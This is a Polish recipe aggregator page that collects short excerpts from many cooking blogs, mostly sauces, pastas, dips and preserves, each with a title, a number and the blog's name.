Dzisiaj mamy dla Was pyszny przepis na klopsiki z bazylią w karmelizowanych pomidorach. Klopsiki wyszły soczyste z posmakiem bazylii w lekko słodkim sosie z karmelizowanych pomidorów. Przepis powstał w ramach akcji, w której i my bierzemy udział tj. Podejmij wyzwanie Ramy – Smaż jak szef kuchni „100 pomysłów na…” :) Mamy nadzieję na nasz pomysł

Kuchenne Wariacje
Udział w programie EWA GOTUJE 374

było nieco stresujące, jednak napięcie umiejętnie rozładowała pani Ewa, prowadząc rozmowę w sposób bardzo naturalny. Później jeszcze jednak powtórka, by wszystko było idealnie i czas na degustację. Dorsz z sosem malinowym był przepyszny – równie dobry, albo i nawet lepszy od tego, który sam przygotowuję. Od pani Ewy dostałem jeszcze książki kucharskie i zestaw produktów firmy Gellwe. Ja odwdzięczyłem się przygotowanym

MarcinChef
kremowe spaghetti z wędzonym łososiem 210

łososia rozdzielam na mniejsze cząstki, dodaję do rozpuszczonego już mascarpone. Przyprawiam solą, pieprzem, dodaję posiekaną natkę pietruszki. Dokładnie mieszam i gotuję razem jeszcze chwilę.  Makaron odcedzam, dodaję do sosu i dokładnie mieszam. Smacznego

Cook&Love
Spaghetti carbonara 173

wlać masę jajeczną cały czas energicznie mieszając. W tym momencie należy bardzo uważać, aby jajka się nie ścięły. Przed wlaniem masy jajecznej można nawet całkowicie wyłączyć gaz, a sos nabierze odpowiedniej konsystencji dzięki gorącemu makaronowi.  Posypać resztą sera.  Smacznego <3 *prawdziwa carbonara nie zawiera śmietanki, ale mnie i wielu osobom które znam dużo bardziej smakuje

Cook&Love
PomidoLove, czyli pikantny dżem z pomidorów 162

Cudowne odkrycie! Zakochałam się w tym dżemie, a w zasadzie sosie z pomidorów - nie ważne jakiego użyję określenia - smak zachwyca. Jest idealnie zbilansowany- odrobinę słodki na początku, pikantny i miło rozgrzewający przełyk na końcu. C harakteru i specyficznego smaku nadaje ocet balsamiczny i imbir.  A wszystko dzięki temu, że miałam sporą nadwyżkę pomidorów ze wsi i chciałam uratować

Cook&Love
Szybki makaron ze szpinakiem i gorgonzolą 167

zagotowuję i dodaję rozdrobnioną gorgonzolę. Cały czas mieszając czekam aż się rozpuści. Następnie przyprawiam solą, pieprzem i szczyptą gałki muszkatołowej. Ugotowany makaron dodaję na patelnię i dokładnie łączę z sosem. Smacznego

Cook&Love
spaghetti w sosie z pieczonej papryki 180

odrobiną oliwy. Wędlinę dojrzewającą kroimy w paski, na patelni mocno rozgrzewamy łyżkę oliwy i wrzucamy wędlinę. Smażymy do uzyskania pożądanego poziomu chrupkości. Ugotowany makaron przekładamy do dużego garnka, dodajemy sos z rondelka, mieszamy dokładnie i przekładamy na talerze. Posypujemy chipsami i startym parmezanem. Smacznego

Cook&Love
Pasta z chili, pomidorków i kolendry 151

Ostra pasta z pomidorków cherry wyszła znakomicie i z chipsami tortilla smakuje wyśmienicie.  Można ją do sosów, zup jako dodatek smakowy dodawać lub z makaronem podawać.  S topień ostrości sami wybieracie i p apryką chili według siebie wyostrzacie :P     Składniki: 500 g pomidorków cherry, 2 papryki chili, ½ główki czosnku, 3 łyżki oleju rzepakowego, ½ łyżeczka cukru

Moniki Smakołyki
Pad Thai czyli makaron smażony po Tajsku 277

Thai to słynne danie kuchni tajskiej. Jest to nic innego jak smażony makaron z woka z jajkiem, krewetkami, kiełkami fasoli mung oraz pysznym sosem słodko – kwśnym. Ja przedstawiam Wam moją wersję Pad Thai, którą przygotowałam ostatnio dla swojej połówki na kolację Pad Thai przygotowałam w WOK’U od  Ballarini przeznaczonego

Marta Gotuje
Sałatka z ryżem i czerwoną fasolą 246

zachwyci każdego.  Potrzebujemy: 150 g ugotowanego i przestudzonego białego ryżu 1 duży ogórek szklarniowy pół puszki zielonego groszku pół puszki czerwonej fasoli 200 g pomidorków koktajlowych  sos czosnkowy - przepis -> klik garść posiekanej natki pietruszki Ogórka obieramy ze skórki, kroimy w kostkę. Pomidorki koktajlowe kroimy na ćwiartki.. Fasole oraz groszek dokładnie płuczemy pod bieżącą wodą. Wszystkie składniki

Kolejny blog o gotowaniu
Kurczak tikka masala 186

KURCZAK TIKKA MASALA to marynowane w ostrych, rozgrzewających przyprawach kawałki mięsa w jogurtowym sosie. Danie pochodzi z kuchni indyjskiej, ale podbiło serca mieszkańców Wielkiej Brytanii! Artykuł Kurczak tikka masala pochodzi z serwisu MenMagazine

Menmagazine
Gańś ze żurawinōm i gruszkōm (Gęś z żurawiną i gruszką) 184

niej 4 tłuszcz 5 ō- samogłoska w wymowie między o i u; są 6 naprawdę 7 dużo 8 pomaga 9 przez to 10 pozwolić sobie 11 sos 12 przypadek 13 kiedy 14 znaleźli 15 nogi 16 garść 17 najpierw 18 zaraz 19 garnuszka 20 salaterki 21 później 22 użyć 23 wrzućcie 24 pokrojoną 25 wyjmijcie Artykuł Gańś ze żurawinōm

Chop w kuchni
Mule z sosem thai 169

Mule można przyrządzać na różne sposoby, dzisiaj mam mule w sosie tajskim z mleczkiem kokosowym. Świeże mule myjemy i oczyszczamy. Najlepiej jest je wyszorować za pomocą ostrej drapaczki. Muszą być czyste muszelki i wszystkie muszą być zamknięte. Gdyby któraś z muszelek była lekko otwarta to uderz w nią nożem. Jak się zamnknie to znaczy, że jest dobra i świeża

Kuchnia Pokoleń
MAKARON LINGUINE Z GULASZEM WIEPRZOWYM 297

musztardą wymieszać w szklance ciepłej wody. Dodać do mięsa. Doprawić solą i pieprzem. Dusić na małym ogniu 15 – 20 minut. Po tym czasie dodać pesto i mąkę do zagęszczenia sosu. Ugotować makaron, gdy będzie gotowy dodać do gulaszu na patelnię i wszystko wymieszać. Przełożyć na talerz i posypać żółtym serem lub parmezanem. Smacznego

kuchniabellissima.wordpress.com
Zapiekanka z szynki i ziemniakami z piekarnika 230

cebulę, aż zmięknie. pieczarki umyć i pokroić w grube plasterki. Rozłożyć wszystko na mięsie. Patelni nie myć, będzie jeszcze potrzebna. Marchewki obrać, pokroić w plasterki i rozłożyć na grzybach. Sos – na tej samej patelni co smażyły się grzyby, roztopić masło. Wsypać mąkę chwilkę smażyć, ale nie pozwolić żeby zbrązowiało. Wlać wodę i dodać rozdrobioną kostkę rosołową, zagotować. Ciągle mieszając

Kuchnia Pokoleń
Babka ziemniaczana podana z duszonymi grzybkami 196

ziemniaków 2 cebule 1 jajko 150 g kiełbasy 1 szkl mąki sól pieprz lubczyk majeranek 1 łyżeczka sody na sos 200 g grzybków (opieńki) świeże lub mrożone 1 cebula sól pieprz olej do smażenia 3 łyżki śmietany Ziemniaki  ścieramy na tarce o drobnych oczkach razem z cebulą, dodajemy przyprawy, sodę, mąkę i jajko oraz przysmażoną wcześniej kiełbasę pokrojoną

Gotowanie jest łatwe
Kurczak w cieście w sosie słodko-kwaśno-ostrym 632

Totalna improwizacja, Czyli wszsytko co mogłabym pamiętać z azjatyckich składników- do sosu +co mam na obiad. A tak właśnie się złożyło, że miałąm pod ręką wszsytko ;) A no i niestety by kurczak był taki a nie inny musimy go usmażyć na głębokim tłuszczu. Czytaj więcej

Pasja tworzenia
Wegańska pasta z pietruszki 152

podwójnej objętości wody, ostudzić i zblendować na gładką masę. Dodać pokrojoną pietruszkę, posiekaną cebulę, czosnek i przyprawy. Wlać odrobinę oliwy i ponownie zmiksować. Podawać z chlebem lub jako sos do przystawek

Szybko Tanio Smacznie
Pasztet sojowy – bez pieczenia 193

mnie staje na podium wśród pasztetów i past. Moim skromnym zdaniem wszystkie składniki użyte do wykonania pasztetu są niezbędne. Duża ilość oleju kokosowego zapewni fajną konsystencję oraz pełny smak. Sos worcester jest składnikiem, który w wersji wegańskiej może być ciężej dostępny (ja swój kupiłem za jakieś śmieszne pieniądze w Kauflandzie). Zawsze można spróbować go zastąpić, np. winem (porto). Smak pasztetu

Blendman
Masło orzechowe 197

najpopularniejszym sposobem wykorzystania masła orzechowego w kuchni są po prostu kanapki z nim oraz dżemem. Niestety niewiele osób idzie o krok dalej, a można wyczarować z jego pomocą pyszny sos orzechowy, nadziewane czekoladki czy pyszny czekolado-orzechowy koktajl. Zachęcam więc Was do zrobienia domowego masła orzechowego, które na pewno będzie bazą dla niejednego przepisu na tym blogu! Sprawdź również przepis

Blendman
Klasyczny hummus 138

oliwek. Znana na całym świecie głównie za sprawą wegetarian i wegan, zdobywa również uznanie wśród mięsożerców. Świetnie się sprawdzi zarówno na szybkie śniadanie jako pasta do chleba, jak i sos, w którym będziemy maczać ogórki, krakersy, paluchy (zarówno te chlebowe, jak i własne). Dobrze komponuje się z winem, jest bardzo szybka do przygotowania (można użyć ciecierzycy z puszki), dlatego też

Blendman
Domowy ocet jabłkowy 160

odpadków, które dadzą nam pyszny a przede wszystkim zdrowy ocet jabłkowy. Ocet możemy pić z wodą, ma delikatniejszy smak niż ten kupny. Możemy dodawać go do różnych dań, przetworów, sosów. Ma też charakterystyczny wygląd, dalece różny od tego kupnego. Jeśli nie macie nawyku czytania etykiet, to czym zaskakują nas sklepowe etykietki jeśli chodzi o ocet jabłkowy? Ano znajdziemy często

Mieszam w Garnku
Klasyczny hummus 162

oliwek. Znana na całym świecie głównie za sprawą wegetarian i wegan, zdobywa również uznanie wśród mięsożerców. Świetnie się sprawdzi zarówno na szybkie śniadanie jako pasta do chleba, jak i sos, w którym będziemy maczać ogórki, krakersy, paluchy (zarówno te chlebowe, jak i własne). Dobrze komponuje się z winem, jest bardzo szybka do przygotowania (można użyć ciecierzycy z puszki), dlatego też

Blendman
Sos żurawinowy 100

żurawinę włożyłem do rondelka, wymieszałem z cukrem, zalałem wodą wymieszaną z wiśniówką. Całość gotowałem na niedużym ogniu, mieszając od czasu do czasu. Gotowałem do momentu, aż owoce zaczęły pękać. Sos będzie dość rzadki, ale będzie gęstniał w miarę stygnięcia

R'n'G Kitchen
Wołowina w curry z ciecierzycą i migdałami 178

Przepyszny sos, który jest również bardzo sycący dzięki ciecierzycy. Wołowina przyprawiona dużą ilością garam masala i curry spędziła w lodówce całą noc. Dla takiego smaku było warto czekać.  Składniki: 400ml mleczka kokosowego 1 puszka ciecierzycy (240g cieciorki) 50g migdałów w płatkach 2 żółte papryki 1/2 pora 2 szalotki 500g wołowiny  2 łyżki masła 2 łyżki garam masala curry

Gotowanie i blogowanie
5 minutowa pasta rybna (pomidorowo-fasolowa) 242

jest smak:-). Polecam dla zapracowanych, miłośników past na kanapki:-) Składniki: 2 puszki śledzia lub makreli w pomidorach 1 puszka czerwonej fasoli Wykonanie: Do pojemnika wrzucamy śledzie lub makrelę w sosie pomidorowym, następnie dokładamy odcedzoną z zalewy czerwoną fasolę. Miksujemy na gładką masę najlepiej blenderem. Taka... tak to już koniec przepisu:-) Smacznego

IMPRESJA SMAKU
Dzik w sosie z leśnymi grzybami 227

tego nadaje. Nie wygląda pięknie, ale jest rewelacyjna Jak już mięsko jest miękkie można zagęścić 1 łyżką mąki rozmieszaną w małej ilości wody. Wlać rozmieszaną mąkę do gotującego się sosu. Wymieszać i zagotować. Jeśli nie chcecie nie trzeba zagęszczać, wystarczy kontrolować dolewanie wody. To jest bardzo dobre danie, polecam

Kuchnia Pokoleń
Sos z cukinii i pomidorów 149

Gęsty i aromatyczny sos z cukinii i pomidorów będzie idealnym dodatkiem do pizzy,dań makaronowych oraz mięsnych. 2,5 kg cukinii 2,5 kg pomidorów 2 marchewki 1 mały seler 2 cebule 4 ząbki czosnku 1 czerwona papryka 3 papryczki chili 1/2 szkl.  octu jabłkowego 3/4 szkl.  cukru 2 łyżki suszonego oregano 2 łyżki suszonej bazylii 2 łyżki

Kolorowa kuchnia Elki
Sos jogurtowy z papryką i szczypiorkiem 206

przygotowany sos idealnie smakuje z mięsem, frytkami czy pieczonymi warzywami. Przy każdym kęsie czuć chrupiące papryki! 190 g jogurtu naturalnego 3 łyżki majonezu 3 ząbki czosnku 1/2 pęczka szczypiorku 1/2 czerwonej papryki Sól czosnkowa W wysokiej miseczce mieszamy ze sobą jogurt naturalny oraz majonez. Dodajemy przeciśnięty przez praskę czosnek, pokrojoną w kosteczkę paprykę oraz posiekany szczypiorek. Wszystko dokładnie mieszamy

VioletoweKucharzenie
SNICKERS Z BANANAMI, KARMELEM I ORZECHAMI 1010

karmelu i układamy 2 banany pokrojone w plasterki. Przykrywamy drugim waflem, dociskamy i smarujemy mascarpone zmiksowanym z cukrem pudrem. Układamy resztę bananów i przykrywamy kolejnym waflem. Wierzch smarujemy resztą sosu karmelowego i posypujemy prażonymi orzeszkami ziemnymi. Dociskamy i wstawiamy do lodówki na ok. 2 godziny. Po schłodzeniu kroimy na kwadraty i zajadamy! Smacznego

Ostra na Słodko
Policzki wieprzowe duszone w sosie piwno selerowym 253

mięciutkie i kleiste. Niestety, nie jest łatwo je dostać nad czym ubolewam. Zdecydowanie częściej trafiam na policzki wołowe, które równie dobre jeśli nie lepsze. Dobre mięso uduszone w pysznym sosie podane z kluseczkami to doskonałe danie na jesienny obiad. Kupując policzki, zarówno wołowe jak i wieprzowe, kupujecie dobrej jakości czyste mięso bez kości, nadające się doskonale do duszenia , gotowania

Smaczna Pyza
Sos tatarski babci Basi 188

Cenię sobie NORMALNOŚĆ – codziennie i od święta. Dziękuję za odwiedziny na moim blogu. Będzie mi miło, jeśli zostawisz komentarz… Zbliża się Wielkanoc , wiec podam prosty przepis na Sos tatarski . Składniki : 3 łyżki majonezu, 2 ogórki konserwowe, kilka grzybków marynowanych, łyżeczka musztardy lub chrzanu, ewentualnie sól i cukier ( puder ) do smaku, Przygotowanie : Ogórki pokroić w drobną kostkę ( można obrać

Pysznosci Babci Basi
Sos szparagowy babci Basi 208

wyszukanych produktów oraz porady kulinarne. Cenię sobie NORMALNOŚĆ – codziennie i od święta. Dziękuję za odwiedziny na moim blogu . Będzie mi miło, jeśli zostawisz komentarz. Podaję przepis na sos szparagowy, który jest idealny zarówno na co dzień jak i na wszelkiego rodzaju uroczystości. Możemy go przyrządzać cały rok , ponieważ robiony jest z szparagów konserwowych. Składniki : 1 słoik szparag, 1 puszka

Pysznosci Babci Basi
Śmietanka z orzechów nerkowca 185

śmietanka! Doskonale sprawdzi się w przypadku osób będących na diecie wegańskiej oraz tych, którzy nie tolerują produktów mlecznych. Oprócz zdrowych właściwości jest przepyszna! Może być bazą do wielu słodkości, sosów, czy po prostu "zabielaczem" do zupy. Uwielbiam polewać nią naleśniki, a poza tym... sama w sobie kusi do podjadania!  Wersja podstawowa: (*) 60g orzechów nerkowca (niesolonych i nieprażonych; odrobinę więcej

Di gotuje
Kotlety siekane drobiowo warzywne z sosem grzybowym 280

nieco inaczej. Dodajcie do mięsa kolorową paprykę i już macie barwne kotleto-placki , które nie tylko ładnie wyglądają, ale są też bardzo smaczne. Swoje kotleciki podałam tym razem z sosem ze świeżo zebranych grzybów, ale możecie też grzyby dodać do środka. Jeśli nie macie leśnych to wykorzystajcie pieczarki hodowlane - kotlety drobiowo pieczarkowe też są pyszne ! To takie proste, wiejskie jedzenie

Smaczna Pyza
Sos z zielonym pieprzem 86

kury. Dodałem pół szklanki śmietanki i 2 łyżeczki marynowanych ziaren zielonego pieprzu. Po dwóch minutach gotowania dodałem 2 łyżeczki brandy. Następnie gotowałem na wolnym ogniu do momentu, aż sos zgęstniał, często mieszając

R'n'G Kitchen
Pesto z natki pietruszki 193

oraz odsączonym słonecznikiem. Wszystko blendujemy na gładką masę. Jeżeli pesto będzie zbyt "suche" można dodać więcej oliwy lub odrobinę wody po słoneczniku.  Pesto idealnie nada się jako niebanalny sos do pizzy, jako dodatek do dań, ale również jako pasta na kanapki. Jest pycha w każdej odsłonie! :) Smacznego! Maugo&Paszko

Bananowe Pole
Warzywko z pietruszką -domowe przyprawy 196

Warzywko z pietruszką -domowe przyprawy Obowiązkową pozycją w mojej kuchni jest warzywko z natką pietruszki . Niezastąpione przy bulionach, sosach i farszach .. po prostu ,prawa ręka " class="wp-smiley" style="height: 1em; max-height: 1em;" />" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Oczywiście mowa tu o własnoręcznie wykonanej przyprawie . Osobiście , nie wieżę w sklepowe wynalazki , jakoś chemia ,nawet

Ogrodnik w podróży
Sos Ze Świeżych Kurek 186

całość z 20-25 minut. 6. Pod koniec tego czasu w szklance mieszamy śmietanę z mąką i hartujemy ja gorącą wodą z grzybków. Wlewamy i gotujemy całość do zgęstnienia sosu. Podajemy z ryżem, ziemniaczkami lub kaszą. Smacznego

Gotowanie...to proste !
Fasolka po bretońsku 221

Pyszna fasolka w sosie po bretońsku, idealna na chłodniejsze wieczory i pożegnanie kończącego się lata. Danie podałam w pięknych, miedzianych patelniach, które są idealnej wielkości dla jednej osoby. Są w stałej ofercie Tureckiego Sklepu . Składniki: 700g passaty pomidorowej 350-400g białej fasoli 2 ząbki czosnku 3 wiejskie kiełbasy (ok. 300-400g) 1 cebula szalotka 1 łyżka masła majeranek

Gotowanie i blogowanie
Dynia zapiekania pod beszamelem 300

pierzynką z dodatkiem żółtego sera to pyszna propozycja na niecodzienną kolację lub dodatek do głównego dania. Składniki 1 kg dyni 1/3 szkl bulionu warzywnego 6 łyżek startego żółtego sera sos 1 łyżka masła 1 łyżka mąki … Czytaj dalej

Fiołkowa Kuchnia Małgorzaty
Sos romesco. 234

Sos romesco pochodzi z Katalonii i jest właściwie dipem. Nie byłem nigdy w tym zakątku Europy (nie jestem fanem Barcy i nie wiem sam, czy przekonuje mnie Gaudi ;)), ale jeśliby sądzić po tym prostym daniu, to jedzą tam smacznie ;) Wiem, wiem, to oczywiste. Bardzo podobne dipy można odnaleźć w kuchni tureckiej i bałkańskiej. To jest bardzo śródziemnomorski smak! Pomidory

zadanie-gotowanie
Sałatka z buraków i fety 258

sokiem z cytryny. Ugotowane buraki obieramy ze skóry i kroimy w kostkę. Fetę również kroimy w kostkę. Na półmisek wykładamy buraki, fetę i marchewkę z ciecierzycą. Wszystkie składniki polewamy sosem z patelni na której dusiła się marchewka.       Smacznego

IMPRESJA SMAKU
Gnocchi w sosie pomidorowym 368

Będąc we Włoszech na pewno próbowaliście gnocchi, czyli tamtejszych ziemniaczanych... Artykuł Gnocchi w sosie pomidorowym pochodzi z serwisu CookMagazine

COOKMAGAZINE
Naturalnie aromatyczna bulionetka warzywna bez chemii 383

mieszkaniu jeszcze przez dwa dni. Po rozcieńczeniu wodą, bulion jest aromatyczny, wyczuć można w nim smak poszczególnych warzyw. Świetnie nadaje się do przygotowywania różnego rodzaju zup, a także sosów i risotto, któremu nadaje głębokiego smaku. Z proporcji podanych poniżej wychodzą dwa pudełka bulionetki, co starcza mi na przygotowanie 6-8 zup. Dlaczego warto? W samodzielnie przygotowanej bulionetce mamy

Ekocozy | Naturalnie na co dzień
Placki z kaszy jęczmiennej 168

Placki z kaszy jęczmiennej można zrobić do obiadu zamiast ziemniaków, typowej kaszy gotowanej. Nie wymagają szczególnie dużo pracy, natomiast zmieniają znacząco wygląd potrawy. Idealnie pasują do mięs z sosami. Składniki: 2 woreczki ugotowanej kaszy jęczmiennej 3 jajka 100 ml słodkiej śmietany  ( najlepiej 30% ) Mąka Sól Olej do smażenia Wykonanie: Do wystudzonej kaszy dodajemy jajka. śmietanę i kilka łyżek mąki

Smaki Ewy
Grzyby w śmietanie 149

oraz ewentualnych pasażerów na gapę;) Wkładka mięsna będzie nam w tym przypadku zbędna- tak więc ślimakom mówimy do widzenia. O robakach nie mówię, bo gdyby były obecne, grzyby na sos oczywiście się nie nadają. Następnie osuszamy i kroimy, w paski lub kostkę, ale nie bardzo drobną. Cebule kroimy w kosteczkę, i podsmażamy na patelni, tak by się zeszkliła

Aromatyczne Podróże
Wątróbka w sosie pomidorowym 162

Wątróbkę drobiową bardzo lubię i mogłabym jeść w każdej postaci. Dzisiaj proponuję prosty przepis na wątróbkę w sosie pomidorowym z dodatkiem marchewki. Składniki: 600 g wątróbki drobiowej duża cebula duża marchew 80 ml przecieru pomidorowego sól, pieprz mąka Przygotowanie Cebulę kroimy w piórka, marchew obieramy i ścieramy na tarce o dużych oczkach. Wątróbkę myjemy, dokładnie oczyszczamy z białych błon, osuszamy

e-PrzepisyKulinarne
Sałatka z tuńczyka z ananasem i quinoą 247

Super prosta, super szybka sałatka... Dobra na kolację, jako drugie śniadanie lub dla niespodziewanych gości. Chyba już łatwiej się nie da .... Składniki: 2 puszki tuńczyka w sosie własnym 1 puszka kukurydzy 1 puszka czerwonej fasoli 1 puszka pokrojonego ananasa 3/4 szklanki kaszy quinoa lub kuskus 2 łyżki majonezu 1 łyżka musztardy Wykonanie: Kaszę gotujemy według przepisu na opakowaniu. Do miski

IMPRESJA SMAKU
Błyskawiczne piątki - Kurczak w sosie kurkowym 173

oliwek. Odłożyć mięso, dodać masło, cebulę i czosnek pokrojone w drobną kostkę. Przesmażyć i dodać kurki. Podlać wodą i gotować 15-20 minut. Pod koniec gotowania włożyć do sosu kurczaka, dodać serek mascarpone i przyprawić do smaku. Posypać koperkiem. Podawać z ziemniakami

Magiczne Życie Marty
Pulpety w sosie koperkowo-musztardowym 170

Dziś przygotuję pulpety z mięsa wieprzowego w sosie koperkowym. Mam nadzieję, że danie przypadnie Wam do gustu i będziecie często korzystać z tego przepisu. Zaczynamy :) Czytaj więcej

Czekoladowa muffinka
Sos tzatziki 217

Dodatków na grilla ciąg dalszy. Dzisiaj przygotuję sos tzatziki - czyli coś dla fanów zielonego ogórka i jogurtów. Można go stosować jako dodatek do szaszłyków, karkówki czy kiełbasy. Zaczynamy! Czytaj więcej

Czekoladowa muffinka
Sos pomidorowy do pizzy 177

Postów o pizzy ciąg dalszy. Tym razem skupimy się na bardzo ważnym składniku - sosie pomidorowym. Nadaje on niepowtarzalny smak i sprawia, że pizza nie jest sucha. Czytaj więcej

Czekoladowa muffinka
Pindżur – pasta z pomidorów, bakłażana i papryki 249

więc chcecie sami zdecydować, który sos/pasta Wam bardziej pasuje, nie macie wyjścia jak zrobić i ajwar i pindżur. Pindżur można stosować jako pastę na chleb, wędlinę czy też jako sos. Idealny będzie do mięsa, grilla czy serów. W oryginale, pindżur jest lekko słodkawy, jeśli lubicie ostry smak, wiecie co robić….;) Czosnek i większa ilość papryczek chili załatwiają sprawę

Mieszam w Garnku
Sos paprykowy 274

Doskonały dodatek do wszelakich dań jak i marynata to warzyw lub mięs. Sosem paprykowym możemy także posmarować ciasto na pizzę. Składniki 3 kg czerwonej papryki 300 g papryczki chilli 75 g koncentratu pomidorowego 2 główki czosnku 500 ml oleju 1/2 … Czytaj dalej

Fiołkowa Kuchnia Małgorzaty
WEGAŃSKI SMALEC na oleju kokosowym 252

Poniżej pomysł na coś bardziej kalorycznego ;) Składniki: ♥ 350ml oleju kokosowego bezsmakowego ! ♥ 250g pieczarek ♥ 100g granulatu sojowego (myślę, że drobno pokruszone kotlety sojowe też dadzą radę) ♥ duża cebula ♥ 2 łyżki sosu sojowego ♥ majeranek, jałowiec, sól, pieprz Wykonanie: Pieczarki oraz cebulę drobno starłam. Na patelni podgrzałam niewielką ilość oleju kokosowego i wrzuciłam  na nią warzywa oraz granulat. Smażyłam 10 minut regularnie

Kasia Sarna
SOS Z NERKOWCÓW do owoców 239

Nerkowce niesamowicie mnie wciągają i gdy zacznę jeść, to mogłabym nie przestawać ;). Przeważnie jem je same lub z gorzką czekoladą, ale tym razem całą paczkę wykorzystałam na sos. Czytaj więcej

Kasia Sarna
Makrela z pastą tom yum i kurkami 209

Tydzień temu usłyszeliśmy od znajomych o pysznej płaszczce w tom yum zjedzonej u Pana Francuza na Nocnym Markecie. My jedliśmy u niego ostrygi z kimchi i domowym sosem tabasco. To była klasa sama w sobie. Niestety na płaszczkę się nie … Czytaj dalej

slodkokwasnapl
Pulpety z piersi kurczaka w sosie pomidorowym 265

dodaje koncentrat. Po chwili zagęszczam całość mąką z wodą i śmietaną lub jogurtem naturalnym (celowo nie podałam proporcji, bo to zależy od ilości bulionu i tego jak gęsty lubicie sos ) i gotowe :) Podaję z ryżem lub ziemniakami, makronem albo kaszą np. jaglana. Smacznego

Kuchnia Viki
Owsianka z gruszką w sosie daktylowym 235

Dziś chciałabym podzielić się z Wami kolejnym przepisem na pyszne śniadanie. Polecam Wam prostą w przygotowaniu owsiankę z gruszką w sosie daktylowym. Szybko, smacznie i pożywnie – za to właśnie lubię owsianki. Są idealna na dobry początek dnia, jak i na jego zakończenie. Czy Wy też często robicie owsianki? Jakie są Wasze ulubione połączenia? Składniki: (na 1 większą porcję

Słodkie okruszki
Domowy keczup z papryką 149

możemy jeszcze kupić tańsze pomidory, drugiego sortu, z popękaną skórką czy lekko zgniecione, aby zyskać jeszcze lepszą cenę. Wróćmy do naszego keczupu. To już trzeci przepis na ten sos pomidorowy. Domowy keczup obojętnie z którego przepisu, smakuje zupełnie inaczej niż ten kupny. Czuć w nim prawdziwe pomidory, a nie chemiczne dodatki. Jeśli mamy dzieci w rodzinie, które uwielbiają keczup

Mieszam w Garnku
Keczup z cukinii 170

pewno zrobimy jeszcze kilka słoików na zimę. W przepisie znajdziecie koncentrat pomidorowy, ale możecie użyć równie dobrze przecieru pomidorowego tylko trzeba użyć większej jego ilości i dłużej redukować sos. Pamiętaj, aby przed zblendowaniem wyjąć z keczupu ziele angielskie, goździki i listki laurowe, bo blender nie radzi sobie z nimi najlepiej. Z podanej ilości wyszły nam 4 słoiki. Drukuj Keczup

Mieszam w Garnku
Miętowy sos z fetą 261

Lato!!! Mięta w ogrodzie rozrosłą się jak szalona... Tyle pysznych rzeczy do przyrządzenia. Dziś decydowałam się na sos miętowy z mocnym akcentem fety, świetny jako dip lub dodatek do grillowanych lub pieczonych warzyw. Składniki: 40 g świeżej mięty (pełna garść gałązek) 1/2 kostki sera feta 1 łyżka octu balsamicznego 3-5 łyżek jogurtu (w zleżności jaką gęstość chcemy

Pora na pora i pomidora
kalafior z beszamelem 293

miękkości). Następnie odcedzamy, przekładamy do wysmarowanego tłuszczem naczynia żaroodpornego. W rondelku rozpuszczamy masło, dodajemy mąkę, mieszamy. Następnie wlewamy mleko, mieszamy, doprawiamy solą, pieprzem oraz gałką muszkatołową i gotujemy, aż sos zgęstnieje. Gotowym zalewamy kalafior, na wierzchu układamy kawałeczki masła. Wkładamy do piekarnika i zapiekamy w 200 st. C przez ok. 20 min. Podajemy na ciepło z natką pietruszki. Zapisz

Domowy Smak Jedzenia
makaron z sosem z cukinii 169

dodajemy do marchewki z czosnkiem. Całość dusimy do miękkość. Pod koniec dodajemy 3 łyżki sera, natkę pietruszki i doprawiamy solą oraz pieprzem. Makaron gotujemy al dente, odcedzamy, dodajemy do sosu i dokładnie mieszamy. Danie podajemy na ciepło, posypane resztą sera i natką pietruszki. Zapisz Zapisz

Domowy Smak Jedzenia
Croque Monsieur - najlepsza kanapka świata 474

kipią ale faktycznie jest ona pyszna, raz na jakiś czas taki zastrzyk energii i kalorii nie zaszkodzi. Ta moja francuska kanapka w składzie ma ser Gruyère, musztardę Dijon, sos beszamelowy i parmezan a do tego pyszna szynka długodojrzewająca jamon serrano oraz chrupiąca grzanka a efekt? sami sprawdźcie. Croque Monsieur - najlepsza kanapka świata. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Pulpeciki z dorsza w sosie paprykowo-pomidorowym - dzieci to lubią! 160

postaci małych, smakowitych kuleczek z mięsa ryby, ugotowanych na parze. To jest lepsze niż mielony! 😉   Nie rozumiem do końca, dlaczego tak jest, […] Artykuł Pulpeciki z dorsza w sosie paprykowo-pomidorowym -> dzieci to lubią! pochodzi z serwisu Wiszniówka

Wiszniówka
Czatnej z mango i cebuli 318

następnie blendujemy na gładką masę. Doskonały dodatek do grilla i pieczonych mięs. Do podawania na ciepło i na zimno. Smacznego!   Jeśli chcecie, możecie zrobić bardziej złożoną wersję tego sosu, dodając do niego 1/3 szklanki rodzynek, nieco imbiru i soli selerowej

MarcinChef
KOUNOUPIDI KAPAMA czyli KALAFIOR PO GRECKU – kuchnia grecka 259

Dziś zabieram Was w podróż do Grecji! Mam dla Was przepis na Kounoupidi Kapama czyli przepyszny kalafior duszony w aromatycznym sosie pomidorowym. Ciężko wymówić, ale gwarantuję, że smakiem każdy się zachwyci! Danie proste, szybkie, smaczne i bardzo tanie! Zapewne znajdą się tacy, którzy dziwić będą się na widok cynamonu dodawanego do potrawy z warzyw , ale gwarantuję Wam , że cynamon

Ostra na Słodko
Duszona cukinia z bazylią 212

puszki ( pokrojone , ja kupuję już w kawałkach ) , sól , paprykę ostrą i smażymy na dużym ogniu , ciągle mieszając , do momentu aż sok z pomidorów się zredukuje i utworzy gęsty sos . Wyłączamy gaz , wsypujemy posiekaną bazylię , mieszamy i od razu podajemy . Doskonałe z chrupiącymi tostami lub jako dodatek do kotletów ziemniaczanych , jak w moim przypadku ( na zdjęciu ) Smacznego ! Post Duszona cukinia

Ogrodnik w podróży
Pomidorowo-ziołowy DIP 217

Wyjątkowo smaczny pomidorowo-ziołowy dip idealny do potraw z grilla Składniki: ¾ szklanki miodu 2 kg pomidorów z wyciętym rdzeniem, pokrojone w 2 cm kostkę ¼ filiżanki octu

naRuszcie
Obaid z piersi kurzych w 15 minut, pycha 188

niecałej szklance wody.Dodać pomidorki przekrojone na pół. Wymieszać i gotować 5 minut. W dużym kubku rozmieszać śmietanę, przecier pomidorowy, musztardę na gładką masę. Do śmietany dolać trochę gorącego sosu z patelni i wymieszać. Następnie powoli ciągle mieszając wlać wszystko na patelnię. Chwilkę jeszcze podgrzewać, mieszając. Na koniec dodać posiekany koperek lub natkę pietruszki. Podawać z makaronem lub ryżem

Kuchnia Pokoleń
Tarta z owocami 177

lodówce. Śmietankę ubij z cukrem pudrem i za pomocą rękawa cukierniczego przyozdób tarte. Wierzch udekoruj świeżymi owocami. Gotowe J Tarte należy przechowywać w lodówce. Pokrojone kawałeczki polałam domowej roboty sosem malinowym

